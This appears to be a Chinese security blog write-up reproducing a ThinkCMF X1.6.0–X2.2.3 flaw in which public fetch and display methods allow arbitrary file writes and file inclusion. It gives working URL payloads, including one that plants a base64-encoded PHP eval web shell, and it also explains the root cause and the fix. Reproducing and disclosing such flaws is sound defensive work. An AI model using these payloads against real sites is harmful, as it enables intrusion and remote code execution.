ThinkCMF框架任意內容包含漏洞分析復現
- 2019 年 12 月 15 日
- 筆記
本文作者:z0ne和Puppy(Timeline Sec新成員)
本文共1233字,閱讀大約需要4分鐘
本文首發於先知社區
0x00 簡介
ThinkCMF是一款基於PHP+MYSQL開發的中文內容管理框架,底層採用ThinkPHP3.2.3構建。 ThinkCMF提出靈活的應用機制,框架自身提供基礎的管理功能,而開發者可以根據自身的需求以應用的形式進行擴展。 每個應用都能獨立的完成自己的任務,也可通過系統調用其他應用進行協同工作。在這種運行機制下,開發商場應用的用戶無需關心開發SNS應用時如何工作的,但他們之間又可通過系統本身進行協調,大大的降低了開發成本和溝通成本。 0x01 漏洞概述
攻擊者可利用此漏洞構造惡意的url,向伺服器寫入任意內容的文件,達到遠程程式碼執行的目的。 0x02 影響版本
ThinkCMF X1.6.0 ThinkCMF X2.1.0 ThinkCMF X2.2.0 ThinkCMF X2.2.1 ThinkCMF X2.2.2 ThinkCMF X2.2.3 0x03 環境搭建
本次使用的環境版本是2.2.3,直接放到phpstudy的目錄下,訪問路徑/ThinkCMFX/發現ThinkCMF很人性化的載入了安裝嚮導,因此按照它的步驟一步一步來即可(2.2.3版本安裝包獲取方式:公眾號內回復「ThinkCMF環境」)


填寫好資料庫密碼以及管理員資訊(phpstudy的資料庫默認密碼為root)

繼續下一步,環境搭建成功如圖所示

0x04 漏洞利用
第一種 通過構造a參數的fetch方法,可以不需要知道文件路徑就可以把php程式碼寫入文件 phpinfo版payload如下:
?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>執行payload,頁面是空白的

訪問test.php,可以看到phpinfo已經載入出來

第二種 通過構造a參數的display方法,實現任意內容包含漏洞 payload:
?a=display&templateFile=README.md

0x05 漏洞分析
首先打開index.php文件,看一下程式的項目路徑,如下顯示項目路徑在application目錄下

在項目路徑下找到入口分組的控制器類選擇IndexController 控制器類打開

可以看到這裡IndexController類中只有一個方法display方法,那麼看一下父類HomebaseController文件,根據ThinkPHP框架規則,可以通過gma參數指定分組模組方法,這裡可以通過a參數直接調用PortalIndexController父類(HomebaseController)中的一些許可權為public的方法。

這邊有問題的是display函數和fetch函數: display函數的作用是載入模板和頁面輸出,所對應的參數為: templateFile模板文件地址,charset模板字符集,contentType輸出類型,content輸出內容。

templateFile參數會經過parseTemplate函數處理,判斷模板是否存在,當模板不存在時會在當前目錄下開始查找,這裡可以配合一處上傳形成文件包含。最終形成的payload :
index.php?a=display&templateFile=README.md fetch函數的作用是獲取頁面內容,調用內置模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中當key和value可控時便可以形成模板注入。

這裡fetch函數的三個參數分別對應模板文件,輸出內容,模板快取前綴。利用時templateFile和prefix參數可以為空,在content參數傳入待注入的php程式碼即可。最終形成的payload:
index.php?a=fetch&content=<?php+file_put_contents("s.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbInBhc3MiXSk7Pz4="); 0x06 修復方式
將 HomebaseController.class.php 和 AdminbaseController.class.php 類中 display 和 fetch 函數的修飾符改為 protected
參考鏈接:
https://www.freebuf.com/vuls/217586.html


